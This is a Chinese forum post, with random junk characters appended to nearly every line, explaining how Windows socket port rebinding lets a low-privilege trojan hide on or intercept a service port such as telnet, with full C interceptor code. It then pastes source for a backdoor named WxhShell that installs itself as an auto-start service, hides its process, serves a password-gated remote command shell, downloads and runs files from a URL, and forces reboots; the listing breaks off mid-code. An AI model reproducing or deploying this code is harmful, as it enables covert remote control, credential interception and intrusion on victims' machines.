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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *Hy-D</w%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U7O~ch[,  
,j^ /~  
  saddr.sin_family = AF_INET; MZ o\1tU-i  
z=B*s!G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $^?"/;8P5  
%KK6}d #  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  {A]"/AC  
72R|zR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ik)T>rYg0  
ya3A^&:  
  这意味着什么?意味着可以进行如下的攻击: bmVksi2b  
,\q9>cZ!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7{=/rbZT?  
FjqoO.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t7tX<|aN  
|u8IQR'B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X&fM36o7  
Z`<S_PPz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r$}M,! J  
Ac}+U q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ahk6{uz  
]3]I`e{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =mxG[zDtQ  
XQ]noaU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &^Q-:Kxs8  
>%5Ld`c:SD  
  #include awh<CmcZ  
  #include 9HrT>{@  
  #include n@  lf+  
  #include    , f{<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WzZ<ZCHm  
  int main() S[(Tpk2_  
  { |;e K5(|  
  WORD wVersionRequested; H)z}6[`  
  DWORD ret; P*Va<'{:{  
  WSADATA wsaData; Lg Xc}3  
  BOOL val; TeaP\a  
  SOCKADDR_IN saddr; p A7&  
  SOCKADDR_IN scaddr; cO%-Av~P  
  int err; IHHL. gT  
  SOCKET s; ?aOx b  
  SOCKET sc; F \6-s`(  
  int caddsize; =]jc{Y%o  
  HANDLE mt; 2#LTd{  
  DWORD tid;   Y!s94#OaZ  
  wVersionRequested = MAKEWORD( 2, 2 ); =n .d'  
  err = WSAStartup( wVersionRequested, &wsaData ); w%F~4|F  
  if ( err != 0 ) { <]<P<  
  printf("error!WSAStartup failed!\n"); ^k6 A,Ak  
  return -1; ,]RMa\Q4Wg  
  } f Ne9as  
  saddr.sin_family = AF_INET; .anXsjD%W  
   RQhS]y@e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =p~k5k4  
tb36c<U-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T1AD(r\W5  
  saddr.sin_port = htons(23); TLbnG$VQS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o;5 J=  
  { ScOiOz:Ha  
  printf("error!socket failed!\n"); n4A_vz  
  return -1; & -L$B  
  } :_9MS0  
  val = TRUE; tN P>6F/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L~9Q7 6w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MYNNeO  
  { Q(v*I&k  
  printf("error!setsockopt failed!\n"); d[K71  
  return -1; &h^E_]P  
  } }#%3y&7M7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A$d)xq-]K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &%eWCe+ +  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wk<heF  
Xc8r[dX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lv;% z  
  { b)ytm=7ha  
  ret=GetLastError(); Y$JGpeq8w  
  printf("error!bind failed!\n"); 4z6i{n-k  
  return -1; _v=S4A#tF  
  } xAJ N(8?  
  listen(s,2); 9~3;upWu!  
  while(1) v *'anw&Z  
  { 4-j3&(  
  caddsize = sizeof(scaddr); 24{Tl q3  
  //接受连接请求 T($d3Nn1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uBpnfIe  
  if(sc!=INVALID_SOCKET) @ ;T|`Y=7  
  { 5PF?Eq   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 PdeK'7  
  if(mt==NULL) 80J87\)  
  { _A]8l52pt  
  printf("Thread Creat Failed!\n"); 7Yv1et |  
  break; 1,Ams  
  } v=m!$~  
  } s"OP[YEke/  
  CloseHandle(mt); 9mA6nmp  
  } HrOq>CSR  
  closesocket(s); ky4 ;7RK  
  WSACleanup(); `G/%U~  
  return 0; aMv?D(Meb  
  }   zEM  c)  
  DWORD WINAPI ClientThread(LPVOID lpParam) {L6@d1u  
  { b0VEMu81k  
  SOCKET ss = (SOCKET)lpParam; #3VOC#.  
  SOCKET sc; ht>C6y  
  unsigned char buf[4096]; {"v~1W)  
  SOCKADDR_IN saddr; _PPZ!r(  
  long num; da[=d*I.  
  DWORD val; qStZW^lFeY  
  DWORD ret; :zA/~/Wo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F#b^l}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $G\WW@*GE  
  saddr.sin_family = AF_INET;  ujin+;1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /$[9-G?  
  saddr.sin_port = htons(23); 3#\++h]QZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;- 0 d2Z  
  { Ga<Uvr%+  
  printf("error!socket failed!\n"); *r)/Vx`S  
  return -1; UY5wef2sF  
  } 8'sT zB]  
  val = 100; jm ORKX+)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?T1vc  
  { q g2 fTe  
  ret = GetLastError(); og[cwa_  
  return -1; % _.kd"  
  } }yzCq+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QG1+*J76b@  
  { @5RbMf{  
  ret = GetLastError(); )tvP|  
  return -1; Wg5<@=x!G  
  } {<}9r6k;f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #Vy8<Vy&w  
  { q"@>rU4  
  printf("error!socket connect failed!\n"); ayGcc`  
  closesocket(sc); qkbGM-H%U  
  closesocket(ss); zH5pe  
  return -1; n2V $dF4m  
  } #}p@+rkg2  
  while(1) N%f% U  
  { n 9>**&5L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C ^IPddw>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W5*Kq^6Pd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b)+;=o%  
  num = recv(ss,buf,4096,0); w!%"b03q  
  if(num>0) P:#KBF;a  
  send(sc,buf,num,0); :{LNr!I?I  
  else if(num==0) \:BixBU7  
  break; \; voBU  
  num = recv(sc,buf,4096,0); eae`#>XP  
  if(num>0) " "@kBY1C  
  send(ss,buf,num,0); \<aR^Sj.  
  else if(num==0) <rihi:4K  
  break; {Mpx33  
  } ~dBx<  
  closesocket(ss); wi/qI(O!  
  closesocket(sc); JT p+&NS  
  return 0 ; ,+4*\yI3l  
  } %y{'p:  
Q2>o+G  
C+L_f_6]  
========================================================== *t{^P*pc  
^`S.Mw.  
下边附上一个代码,,WXhSHELL f6,?Yex8B  
29HyeLB@  
========================================================== oh0*bh  
^O3i)GO  
#include "stdafx.h" p:NIRs  
3iIURSG@  
#include <stdio.h> ,<(0T$o E[  
#include <string.h> ?CD[jX}!  
#include <windows.h> e?7Oom  
#include <winsock2.h> 4%$#   
#include <winsvc.h> it$w.v+W7V  
#include <urlmon.h> )Drif\FF)  
H?_wsh4J  
#pragma comment (lib, "Ws2_32.lib") #|"M  
#pragma comment (lib, "urlmon.lib") [gDl<6a#4  
t-i\gq^  
#define MAX_USER   100 // 最大客户端连接数 (PC)R9r5  
#define BUF_SOCK   200 // sock buffer 2EH0d6nt  
#define KEY_BUFF   255 // 输入 buffer Ya &\b 6  
#F=!g?  
#define REBOOT     0   // 重启 5{xK&[wR*  
#define SHUTDOWN   1   // 关机 yBRYEqS+  
h0&Oy52  
#define DEF_PORT   5000 // 监听端口 /,,IM/(6^  
C"QB`f:  
#define REG_LEN     16   // 注册表键长度 O)!S[5YI  
#define SVC_LEN     80   // NT服务名长度 5c\dm  
{O6yJckH  
// 从dll定义API 'Rb tcFb   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @R_ON"h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &Nw[J5-"k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u[HamGxx$u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0V ZC7@  
4(dgunP  
// wxhshell配置信息 :6 qt[(<"  
struct WSCFG { ] T<#bNK\1  
  int ws_port;         // 监听端口 |va^lT  
  char ws_passstr[REG_LEN]; // 口令 jN AS'JV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6~-,.{Y  
  char ws_regname[REG_LEN]; // 注册表键名 IuY4R0Go  
  char ws_svcname[REG_LEN]; // 服务名 BS=~G+/:|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lhPxMMS`j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4" pU\g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u` ;P^t5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d2?#&d'aq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xE rAs}|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]*hH.ZBY"^  
Pj1k?7  
}; A">R-1R  
P]O=K  
// default Wxhshell configuration &I:ZJuQ4  
struct WSCFG wscfg={DEF_PORT, `B~zB=}  
    "xuhuanlingzhe", Ig<# {V  
    1, CK#i 6!~r  
    "Wxhshell", iwy;9x  
    "Wxhshell",  [a_o3  
            "WxhShell Service", eQwvp`@"  
    "Wrsky Windows CmdShell Service", $)eS Gslz  
    "Please Input Your Password: ", @*roW{?!  
  1, U4[GA4DZ   
  "http://www.wrsky.com/wxhshell.exe", )nGH$Mu  
  "Wxhshell.exe" } ,@ex  
    }; HQNpf1=D  
[tRb{JsUd  
// 消息定义模块 ~RH)iI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cua( w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n1x"B>3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q+} \ (|  
char *msg_ws_ext="\n\rExit."; =!G{+&j  
char *msg_ws_end="\n\rQuit."; \mL]xE-  
char *msg_ws_boot="\n\rReboot..."; ~e&O?X  
char *msg_ws_poff="\n\rShutdown..."; A&A{Thz  
char *msg_ws_down="\n\rSave to "; ~9PZ/( '  
xE{slDl  
char *msg_ws_err="\n\rErr!"; D/afa8>LQH  
char *msg_ws_ok="\n\rOK!"; dZox;_b  
91-[[<  
char ExeFile[MAX_PATH]; lD{*Z spz  
int nUser = 0; _'4S1  
HANDLE handles[MAX_USER]; +`iJ+  
int OsIsNt; (I#mo2  
6Jq3l_  
SERVICE_STATUS       serviceStatus; E $P?%<o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kS?CKd9by  
W4bN']?  
// 函数声明 !b=W>5h  
int Install(void); gWL`J=DiU  
int Uninstall(void); 'Z]wh.]T  
int DownloadFile(char *sURL, SOCKET wsh); tyWDa$u,u  
int Boot(int flag); K {  FZ/  
void HideProc(void); 7%W1M@  
int GetOsVer(void); 0 6M?ecN  
int Wxhshell(SOCKET wsl); #hP>IU  
void TalkWithClient(void *cs); DN iH" 0%  
int CmdShell(SOCKET sock); D&@Iuo  
int StartFromService(void); M ziOpraj  
int StartWxhshell(LPSTR lpCmdLine); VkO*+"cGv  
Qm=iCZ|E^!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N}1yDN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^KnK \  
=ZO lE|4  
// 数据结构和表定义 ~ivOSr7s}  
SERVICE_TABLE_ENTRY DispatchTable[] = pTB7k3g  
{ C#4_`4{  
{wscfg.ws_svcname, NTServiceMain}, ~L>86/hP,N  
{NULL, NULL} !Qf*d;wxn(  
}; X# /c7w-  
a4gX@&it_k  
// 自我安装 7xQ:[P!G+  
int Install(void) -SfU.XlZl  
{ "vT$?IoEV  
  char svExeFile[MAX_PATH]; :`E p#[Wvo  
  HKEY key; #@xB ?u-0q  
  strcpy(svExeFile,ExeFile); $PI9vyS  
UG=]8YY!  
// 如果是win9x系统,修改注册表设为自启动 YaL:6[6  
if(!OsIsNt) { &r~s3S{pQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !%D';wQ,/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "<{|ni}  
  RegCloseKey(key); sei2\l8q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~**x_ v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l^OflZC~  
  RegCloseKey(key); zsd1n`r  
  return 0; #9Jr?K43  
    } 9X%: ){  
  } :enR8MS  
} _ziSH 3(  
else { ~#jiX6<I  
D7T|K :F)  
// 如果是NT以上系统,安装为系统服务 AS@(]T#R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c{_JPy  
if (schSCManager!=0) 1^2Q`~,g  
{ 9cUa@;*1  
  SC_HANDLE schService = CreateService jU7[z$GX  
  ( |Tc4a4jS  
  schSCManager, Q$:Q6 /5.  
  wscfg.ws_svcname, (XW'1@b  
  wscfg.ws_svcdisp, oI[rxr  
  SERVICE_ALL_ACCESS, (tOhuSW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j6Sg~nRh  
  SERVICE_AUTO_START, LiV&47e*>  
  SERVICE_ERROR_NORMAL, <n06(9BF  
  svExeFile, :i4(cap&}F  
  NULL, T'vI@i9  
  NULL, kY'Wf`y(  
  NULL, X-_VuM_p  
  NULL, Mmu#hb|W  
  NULL R-9o 3TPa  
  ); ]W14'Z  
  if (schService!=0) N`,\1hHMT  
  { kx?Yin8K  
  CloseServiceHandle(schService); & ]] l0B  
  CloseServiceHandle(schSCManager); =CRptk6tS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NytTyk)  
  strcat(svExeFile,wscfg.ws_svcname); 8K?}!$fz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YCh`V[0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k]5tU\;Yw  
  RegCloseKey(key); qar{*>LCG  
  return 0; qbfX(`nS  
    } #gO[di0WhC  
  } }Le]qoW['  
  CloseServiceHandle(schSCManager); q,@# cQBV  
} (0b\%;}  
} 2O Ur">_  
_!qD/ [/  
return 1; |cY,@X,X6  
} 4n6AK`E  
!zF0 7.(E  
// 自我卸载 aH?Ygzw  
int Uninstall(void) qi7C.w;  
{ '(3 QyCD  
  HKEY key; .=J- !{z  
5(J?C-Pk  
if(!OsIsNt) { 8+}rm6Y+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .,xyE--;d  
  RegDeleteValue(key,wscfg.ws_regname); }bca-|N  
  RegCloseKey(key); {%u^O/M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M.t,o\xl  
  RegDeleteValue(key,wscfg.ws_regname); 5)T[ha77u  
  RegCloseKey(key); I <D7 Jj  
  return 0; G&^8)S@1  
  } +] ;WN  
} sIf]e'@AC  
} ZAn @NA=  
else { /\-}-"dm  
(KyOo,a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hZ*vk  
if (schSCManager!=0) tt?`,G.(]  
{ 2} pZyS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BYEZ[cM  
  if (schService!=0) JS^DyBXc  
  { c.Sd~k:3  
  if(DeleteService(schService)!=0) { |YROxY"ML  
  CloseServiceHandle(schService); >P~*@>e  
  CloseServiceHandle(schSCManager); 6CHb\k  
  return 0; 0H>gMXWE]  
  } dv\bkDF4A  
  CloseServiceHandle(schService); 1gkpK`u(B  
  } M9R'ONYAa  
  CloseServiceHandle(schSCManager); Eqz|eS*6  
} (JlPe)Q5  
} ]VKQm(,0  
Ut\:jV=f  
return 1; A/I\MN|  
} %6uZb sa  
4vWiOcJF!O  
// 从指定url下载文件 PB$beQ  
int DownloadFile(char *sURL, SOCKET wsh) !;,\HvEZYw  
{ jOzXyDq  
  HRESULT hr; x;yvv3-$  
char seps[]= "/"; &Jj|+P-lY  
char *token; +S0aA Wal  
char *file; TS|Bz2(  
char myURL[MAX_PATH]; mP }<{oh`x  
char myFILE[MAX_PATH]; Y,0Z&6 <  
2H.g!( Oza  
strcpy(myURL,sURL); /}~=)QHH  
  token=strtok(myURL,seps); 7yyX8p>  
  while(token!=NULL) 3W[?D8yi)  
  { D tZ?sG  
    file=token; @a@}xgn{  
  token=strtok(NULL,seps); _xCYh|DlQ|  
  } aq_K,li #w  
(@XQ]S}L  
GetCurrentDirectory(MAX_PATH,myFILE); Tph^o^  
strcat(myFILE, "\\"); fub04x)  
strcat(myFILE, file); <DR|r  
  send(wsh,myFILE,strlen(myFILE),0); *Igb3 xK%  
send(wsh,"...",3,0); )m;*d7l~p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JK< []>O  
  if(hr==S_OK) 4RVqfD  
return 0; jdJTOT  
else @ !su7  
return 1; k*N!U[]  
Vq]ixag2^  
} i;9X_?QF  
H%Gz"  
// 系统电源模块 Qf^c}!I  
int Boot(int flag) ; &6 {c  
{ yZNG>1 N  
  HANDLE hToken; BZQ}c<Nl  
  TOKEN_PRIVILEGES tkp; (J5} 1Q<K  
,3_Sf?  
  if(OsIsNt) { ]>(pj9)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J";N^OR{A%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hQj@D\}  
    tkp.PrivilegeCount = 1; } uS0N$4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N!~]D[D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;]grbqXVE  
if(flag==REBOOT) { M;y*`<x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zJy=1r  
  return 0; YdO*5Gb6  
} <!>\ n\A  
else { tlp,HxlP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZN)EbTpc\a  
  return 0; <(>t"<  
} 9.\SeJ8c  
  } VrPsy) J68  
  else { p*0[:/4  
if(flag==REBOOT) { WC<[<uI*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W=^.s>7G  
  return 0; LJ <pE;`d  
} gQ0,KYmI3_  
else { 3,q?WH%_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ``jNj1t{}  
  return 0; 1!(lpp  
} Cs>`f, o  
} Sk 7R;A  
xSD*e 0  
return 1; M;<!C%K>  
} J$yq#LBbR@  
G-)e(u   
// win9x进程隐藏模块 K0( S%v|,}  
void HideProc(void) _-({MX[3k<  
{ kQbZ!yl>[  
}ZVond$y4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b)'CP Cu*  
  if ( hKernel != NULL ) { DP9^hg  
  { WlQCPC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @;OsHudd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o]&q'>Rf  
    FreeLibrary(hKernel); /jJD {  
  } 6:|;O  
`$JvWN,kB  
return; /5Qh*.(S  
} Qb?a[[3  
!gW`xVGv  
// 获取操作系统版本 \;N+PE  
int GetOsVer(void) "dIWHfQB  
{ @ywtL8"1~  
  OSVERSIONINFO winfo; Jfr'OD2$ %  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WT,I~'r=S  
  GetVersionEx(&winfo); bT 42G [x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n',X,P0  
  return 1; ! 1I# L!9  
  else )  M0(vog  
  return 0; Q /?`);  
} R q@|o5O  
L>IP!.J]?  
// 客户端句柄模块 w;ZT-Fti  
int Wxhshell(SOCKET wsl) <}[ !k<  
{ 9R8q+2  
  SOCKET wsh; QD!NV*  
  struct sockaddr_in client; 9dA+#;?  
  DWORD myID; <rgK}&q  
p*lP9[7  
  while(nUser<MAX_USER) d)-ZL*o  
{ E{ c+`>CY  
  int nSize=sizeof(client); HL"c yxe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Q|a R  
  if(wsh==INVALID_SOCKET) return 1; -&7? !<f  
UAXp;W`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0>CG2SRn  
if(handles[nUser]==0) [ K/l;Zd  
  closesocket(wsh); cJ$jU{}  
else lfM vNv  
  nUser++; KDEyVYO:  
  } n~yHt/T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cy,6^d  
n(Nu  
  return 0; :1qLRr  
} sG#Os  
?1\I/ 'E9  
// 关闭 socket 3v_j*wy  
void CloseIt(SOCKET wsh) / Q@4HV  
{ eG(YORkR  
closesocket(wsh); /~'C!so[v  
nUser--; Wo&22,EB  
ExitThread(0); +I5\ `By=  
} X8Z) W?vu  
]'xci"qV`  
// 客户端请求句柄 gBV4IQ  
void TalkWithClient(void *cs) GEy7Vb)  
{ cwvJH&%0  
5fk A?Ecqq  
  SOCKET wsh=(SOCKET)cs; 3HtM<su*h  
  char pwd[SVC_LEN]; I-!7 EC2{!  
  char cmd[KEY_BUFF]; kIS )*_  
char chr[1]; _ -RqkRI  
int i,j; gWU#NRRc  
Y<W9LF  
  while (nUser < MAX_USER) { ktqFgU#rT  
Jm CHwyUK?  
if(wscfg.ws_passstr) { ? 0X$ox  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Un/,-ck  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TU_'1  
  //ZeroMemory(pwd,KEY_BUFF); zu?112-v2  
      i=0; -x6_HibbD  
  while(i<SVC_LEN) { [x 7Rq_^  
gnN>Rl 5_  
  // 设置超时 'Y2$9qy-L  
  fd_set FdRead; X HJdynt/  
  struct timeval TimeOut; gKTCfD~  
  FD_ZERO(&FdRead); e}2?)B`[  
  FD_SET(wsh,&FdRead); A7Y CSjB  
  TimeOut.tv_sec=8; {91Y;p C  
  TimeOut.tv_usec=0; <#BK(W~$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y]{b4e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?yAb=zI1b  
e:-pqZT`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4ZUtK/i+r  
  pwd=chr[0]; ~N9k8eT  
  if(chr[0]==0xd || chr[0]==0xa) { "Fmq$.$%  
  pwd=0; M/W9"N[ta  
  break; *sp")h#Z  
  } yj_/:eX  
  i++; 2*`kkS  
    } P51cEhf  
r|}Pg}O  
  // 如果是非法用户,关闭 socket 7<70\ 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5,XEN$^  
} *.w6 =}  
1 M!4hM Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f 1SKOq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O2Y|<m  
oVk!C a  
while(1) {  Yf[Cmn  
%6lGRq{/?  
  ZeroMemory(cmd,KEY_BUFF); uHquJQ4  
YYI0iM>  
      // 自动支持客户端 telnet标准   >,zU=I?9Y  
  j=0; $Xo_8SX,  
  while(j<KEY_BUFF) { FP{=b/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MbYgGE,LA  
  cmd[j]=chr[0]; A iR#:r  
  if(chr[0]==0xa || chr[0]==0xd) { 4mW$+lzn  
  cmd[j]=0; 81#x/&E]  
  break; ,O.iOT0=;  
  } >Q=e9L=  
  j++; n>JJ Xw,,  
    } hH>a{7V   
#QlxEs#%  
  // 下载文件 6E_~8oEl  
  if(strstr(cmd,"http://")) { a m5;B`}q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R7:u 8-dU1  
  if(DownloadFile(cmd,wsh)) ~,s'-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _0naqa!JyH  
  else aC9iNm8w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3?aM\z;  
  } 'Sd+CXS  
  else { }duqX R  
arKf9`9  
    switch(cmd[0]) { M3KK^YRN  
  ]D@aMC$#  
  // 帮助 ' $yy  
  case '?': { r4FSQ$[9w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDiDHOR  
    break; \0}bOHqEH  
  } u$nmnd`g  
  // 安装 pT+OPOSR  
  case 'i': { 4avkyFj!h  
    if(Install()) e 0$m<5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;Z _'.i,d  
    else 1HSt}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xK[ [b  
    break; :1t&>x=T  
    } p{qA%D  
  // 卸载  RF<f  
  case 'r': { oVUsI,8  
    if(Uninstall()) qe1>UfY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NV{= tAR  
    else xZq, kP^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?gU - a  
    break; Tl_o+jj  
    } l8Yr]oNkz  
  // 显示 wxhshell 所在路径 FLsJ<C~/~  
  case 'p': { "9c!p  
    char svExeFile[MAX_PATH]; ]EN&EA"<  
    strcpy(svExeFile,"\n\r"); 5' t9/8i  
      strcat(svExeFile,ExeFile); U\{I09@E 0  
        send(wsh,svExeFile,strlen(svExeFile),0); PCDvEbpG  
    break; "E5=AW d  
    } "_dJ4<8  
  // 重启 4u2_xbT  
  case 'b': { #EKnjh=Uq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e=jtF"&  
    if(Boot(REBOOT)) qoph#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fk2Uxg=[  
    else { o2YHT \P n  
    closesocket(wsh); kot KKs   
    ExitThread(0); <#Fex'4  
    } jtpk5 fJB  
    break; ept:<!4  
    } TgRG6?#^l  
  // 关机 Ak`?,*L M  
  case 'd': { \8{Tj54NA  
